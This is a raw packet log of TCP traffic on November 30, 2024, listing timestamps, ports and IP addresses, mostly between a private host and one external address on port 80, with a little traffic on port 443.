Nov 30, 2024 04:12:27.434529066 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.434570074 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.434909105 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.434919119 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.434927940 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.434937954 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.434954882 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.434981108 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.437258959 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.437401056 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.437444925 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.438225031 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.438374043 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.438410044 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.439198017 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.439208984 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.439258099 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.440139055 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.440263987 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.440306902 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.440324068 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.441098928 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.441107988 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.441140890 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.442002058 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.442131042 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.442169905 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.443053961 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.443068027 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.443110943 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.443923950 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.444066048 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.444108963 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.444983959 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.445122957 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.445162058 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.445854902 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.445986986 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.446041107 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.446798086 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.446964025 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.447005987 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.447822094 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.447948933 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.447985888 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.448815107 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.448945045 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.448983908 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.449628115 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.449691057 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.449700117 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.449737072 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.450645924 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.450772047 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.450813055 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.451672077 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.451682091 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.451713085 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.452523947 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.452652931 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.452694893 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.453550100 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.453560114 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.453593016 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.454524994 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.477925062 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.603660107 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.603688002 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.603754044 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.604095936 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.604170084 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.604212046 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.604831934 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.604932070 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.604969978 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.605772018 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.605854034 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.605894089 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.606735945 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.606852055 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.606884956 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.607705116 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.607810020 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.607861042 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.608647108 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.608697891 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.608733892 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.609639883 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.609741926 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.609778881 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.610564947 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.610685110 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.610723019 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.611515999 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.611627102 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.611665964 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.612500906 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.612616062 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.612658024 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.613445044 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.613548040 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.613594055 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.614408016 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.614518881 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.614552975 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.615350008 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.615464926 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.615509033 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.616344929 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.616460085 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.616508961 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.617280960 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.617394924 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.617432117 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.618244886 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.618364096 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.618403912 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.619190931 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.619303942 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.619342089 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.620167017 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.620306969 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.620337963 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.621145010 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.621225119 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.621259928 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.622061968 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.622174978 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.622205019 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.623028040 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.623150110 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.623184919 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.623970985 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.624077082 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.624108076 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.624975920 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.625070095 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.625124931 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.625891924 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.626005888 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.626049042 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.626857996 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.626993895 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.627033949 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.627846956 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.627934933 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.627965927 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.628803015 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.628895044 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.628926992 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.629765034 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.629879951 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.629925013 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.630728960 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.630836964 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.630876064 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.631668091 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.631759882 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.631799936 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.632630110 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.632733107 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.632766962 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.633152962 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.633582115 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.633677006 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.633708954 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.634541035 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.634635925 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.634670973 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.635519028 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.635691881 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.635730982 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.636537075 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.636648893 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.636687040 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.637439013 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.637590885 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.637624025 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.638403893 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.638509989 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.638542891 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.639345884 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.639386892 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.639426947 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.640341997 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.640448093 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.640500069 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.641355991 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.641463041 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.641503096 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.642258883 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.642379045 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.642419100 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.643277884 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.643405914 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.643449068 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.644144058 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.644212961 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.644263983 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.644304991 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.645104885 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.645219088 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.645257950 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.646048069 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.646167040 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.646202087 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.647027016 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.647079945 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.647201061 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.647974968 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.648143053 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.648194075 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.648931980 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.649044037 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.649118900 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.649908066 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.649980068 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.650016069 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.650850058 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.650970936 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.651061058 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.651812077 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.651910067 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.651956081 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.652760029 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.652865887 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.652905941 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.653685093 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.667998075 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.678975105 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.805047035 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.805073977 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.805134058 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.805428028 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.805533886 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.805582047 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.806399107 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.806530952 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.806576014 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.807369947 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.807471037 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.807517052 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.808305025 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.808461905 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.808501005 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.809283018 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.809396982 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.809434891 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.810246944 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.810376883 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.810419083 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.811206102 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.811332941 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.811377048 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.812181950 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.812246084 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.812295914 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.813127041 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.813236952 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.813278913 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.814099073 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.814198971 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.814235926 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.815047979 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.815146923 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.815210104 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.816005945 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.816113949 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.816164017 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.816955090 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.817065001 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.817106009 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.817919970 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.818030119 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.818072081 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.818881035 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.818990946 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.819031954 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.819825888 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.819931984 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.819971085 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.820790052 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.820902109 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.820940971 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.821763039 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.821855068 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.821893930 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.822721958 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.822829008 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.822875977 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.823674917 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.823760986 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.823807955 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.824632883 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.824753046 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.824796915 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.825583935 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.825690985 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.825727940 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.826548100 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.826632023 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.826673031 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.827517986 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.827610016 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.827651024 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.828473091 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.828519106 CET	443	49750	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:27.828599930 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.828636885 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.829436064 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.829462051 CET	49750	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:27.829477072 CET	443	49750	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:27.829544067 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.829576015 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.829920053 CET	49750	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:27.829924107 CET	443	49750	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:27.830391884 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.830588102 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.830626965 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.831363916 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.831444979 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.831476927 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.832312107 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.832417011 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.832453966 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.833286047 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.833384991 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.833422899 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.834220886 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.834280968 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.834348917 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.835189104 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.835289001 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.835330963 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.836139917 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.836261034 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.836297989 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:27.837100029 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.837171078 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:27.837210894 CET	49745	80	192.168.2.6	185.215.113.16
